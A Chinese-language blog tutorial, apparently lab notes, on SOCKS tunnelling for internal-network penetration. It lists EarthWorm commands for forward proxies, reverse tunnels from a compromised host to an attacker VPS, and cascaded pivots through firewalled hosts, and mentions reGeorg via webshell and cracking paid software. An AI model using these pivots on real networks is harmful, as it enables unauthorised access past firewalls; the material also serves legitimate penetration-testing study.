0%

隐藏隧道技术之SOCKS代理

常见的网络场景如下三类:

  • 服务器在内网中,可以任意访问外网。
  • 服务器在内网中,可以访问外网,但是服务器安装了防火墙拒绝敏感的端口连接
  • 服务器在内网中,对外只开放了部分端口(如80端口),且服务器不能访问外部网络。(可以使用http隧道)

0x00 前言

 因为Socks介于传输层与表示层之间,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。
目前有两个版本:SOCKS4和SOCKS5

  1. SOCKS4支持TELNET、FTPHTTP等TCP协议;
  2. SOCKS5支持TCP与UDP,并支持安全认证方案。
    Ps: Socks不支持ICMP,不能使用ping命令。
    常见的转发工具及不同平台的代理链工具:
    常见工具

0x01 常用的代理工具

 socks是一种代理服务,可以简单地将一端系统连接另一端。socks支持多种协议,包括HTTP、FTP等。SOCKS分为socks4和socks5两种类型。socks4只支持tcp协议,而socks5不仅支持TCP/UDP协议,还支持各种身份验证机制,其标准端口为1080。socks能够与目标内网进行通信,避免多次使用端口转发。
 socks代理工具有很多,尽量选择没有GUI界面的,尽量选择不需要安装其它依赖软件的socks代理工具,支持多平台更佳。

1、EarthWorm(EW)

 Earth:地球,Worm:虫。它是一套便携的网络工具,具有socks5 服务架设和端口转发2大核心功能,可以在复杂网络环境中实现网络穿透。【EarthWorm】
 它提供了多个可执行文件以适用不同的操作系统。EW还有一个升级版叫【Termite】

2、reGeorg

 reGeorg是reDUh的升级版,主要功能是把内网服务器的端口通过HTTP/HTTPS隧道转发到本机形成一个回路。
 reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持ASPX、PHP、JSP中的一种。

3、SocksCap64

 SocksCap64 是一款在windows中相当好用的全局代理软件。【下载链接】 下载后需要管理员权限来打开使用。
免费的,感觉比proxifier(收费,可破解)好用简洁。

4、Proxifier

它是一款比较好用的全局代理软件,支持跨平台。下载直接去百度Google找吧。proxifier

5、ProxyChains

chain:链。他是一款可以在Linux下实现全局代理的软件,稳定、可靠可以在任何程序上实现代理,允许tcp和dns流量通过代理隧道,支持 HTTP、SOCKS4 、SOCKS5类型的代理服务器。【下载链接】 kali是自带有的。使用也是非常的简单。

0x02 SOCKS代理技术在网络环境中的应用

这一部分内容可以参考《内网安全攻防-渗透测试实战指南》 书中的148页。

1、EarthWorm 的应用

【参考链接1】
【参考链接2】
【参考链接3】
EarthWorm是内网穿透的神器,拥有三项功能正向代理,反向代理,端口转发。
为实现这些功能,EarthWorm建立了六大功能模块:

  1. 正向代理:ssocksd
  2. 反向代理:rcsocks、rssocks
  3. 端口转发:lcx_listen、lcx_slave、lcx_tran
    ew
    1
    2
    3
    4
    5
    6
    7
    8
    -l 该命令为服务启动开启指定端口
    -d 指定转发或反弹的主机地址
    -e 指定转发或反弹的主机端口
    -f 指定连接或映射的主机地址
    -g 指定连接或映射的主机端口
    -h 打开帮助提示,当与-s参数共同使用时可以看到更详细的内容
    -a 关于
    -v 显示版本
(1) 建立正向scocks 5代理

如果目标主机(windows)拥有一个外网ip,我们可以使用如下正向代理方法:

1
ew_for_win_32.exe  -s ssocksd -l 888

随后本机(windows)使用代理,ip为目标的公网ip端口为指定的888

(2) 反弹socks 5 代理

目标主机没有公网ip,但是可以正常出网的情况。

  1. 先在一台具备公网ip的主机A上运行以下命令:
    1
    ew -s rcsocks -l 1080 -e 8888
    意思是在公网vps上添加一个转接隧道,把1080端口收到的代理请求转发给 8888端口。
  2. 在目标主机B中执行如下命令,启动socks5服务,并且反弹到公网主机A的8888端口
    1
    ew -s rssocks -d vpsIp -e 8888
  3. 然后返回vps就可以看到反弹成功,随后我们配置代理为vpsIP 的 1080 端口。

(3) 二级级联 (a有公网ip)

拓扑图
注意:ip可能有差异
我们已拥有 A、B 2台主机的控制权限,A主机有2个网卡可以访问外网并且只能连接内网的B主机没有权限访问内网其它主机,B主机不能不能访问外网可以访问内网中其他主机。

  1. 首先我们在B主机中监听 888端口(这里我们用winserve 1.1.1.3)
    1
    .\ew_for_win_32.exe  -s ssocksd -l 888
  2. 然后再A主机中,将1080端口接收到的数据代理给B主机的888端口
    1
    ew_for_win_32.exe  -s lcx_tran -l 1080 -f 1.1.1.3 -g 888
  3. 现在我们就可以将A的公网地址和端口使用B主机上架设的socks5代理了。我们再A主机win中无法访问内网的1.1.1.100的web服务,当是当我们搭起代理后可以在本机通过代理访问1.1.1.100。)当我们本机挂起代理后可以访问到1.1.1.100的web服务。这里我们还可以注意到因为B主机无法访问外网所以我们点击测试时是失败的。(后面测试又成功了,奇怪)
  4. 还有一点很奇怪就是代理后无法使用ping命令(应该是没代理ICMp包) 而且注意到防火墙选择any协议时,并没有拦截icmp包(还可以ping通)还有代理隧道似乎没有代理icmp包,无法使用ping命令ping通1.1.1.100。因为Socks介于传输层与表示层之间,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。
  5. 还有不知道为啥代理cmd应用进行扫描时扫不到80端口(估计是代理端口的原因)

(4) 二级网络环境(b无公网ip)

这里就指A主机没有公网Ip但是可以访问外网,其它的信息和上面一样。
这次我们需要进行四步操作。

  1. 在vps(192.168.152.152)中添加转接隧道将,将10800端口收到的数据代理转发给8888端口。
    1
    ./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
  2. 在b主机(winserve 1.1.1.3)上进行ssocksd方式启动9999端口的socks代理。
    1
    ./ew_for_Win.exe -s ssocksd -l 9999
  3. 在A主机上利用lcx_slave方式,将公网vps的8888和B主机的9999端口连接起来。
    1
    ./ew_for_Win.exe -s lcx_slave -d 192.168.152.152 -e 8888 -f 1.1.1.3 -g 9999
  4. 回到kali vps中我们可以看到连接成功的标识)接下来我们就可以利用kali的ip和10800端口进行代理操作了。这次又扫出了80端口。奇奇怪怪!

各种用法的示例

ssocksd 正向连接

单独使用就是一个简答的正向连接,就是说我在本机监听一个端口。与其他serve配合使用也比较常见。

1
ew -s ssocksd -l 888

rcsocks 、 rssocks 反向连接

rcsocks 它大概的意思就是将本机的一个端口接收到的数据转发给本机的另一个端口,多用于我们的vps中(和lcx_listen有点像耶)

1
ew -s rcsocks -l 1080 -e 8888

rssocks 它相当于建立一个隧道,然后给指定的ip端口绑定。

1
ew -s rssocks -d vpsip -e 8888
lcx_tran 的用法

大概可以理解为将本地监听到的端口a,转发给指定ip端口。

1
./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
lcx_listen、lcx_slave的用法

lcx_listen大概就是说监听本地一个端口,然后转发给本地一个端口。

1
./ew -s lcx_listen -l 1080 -e 8888

lcx_slave大概的意思是将一个vps的ip端口,和内部的ip端口进行绑定。

1
w -s lcx_slave  -d 192.168.152.152 -e 8888 -f 127.0.0.1 -g 9999

一般也需要配合 ssocksd使用:

1
2
3
./ew -s lcx_listen -l 1080 -e 8888
./ew -s ssocksd -l 9999
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

-------------本文结束感谢您的阅读-------------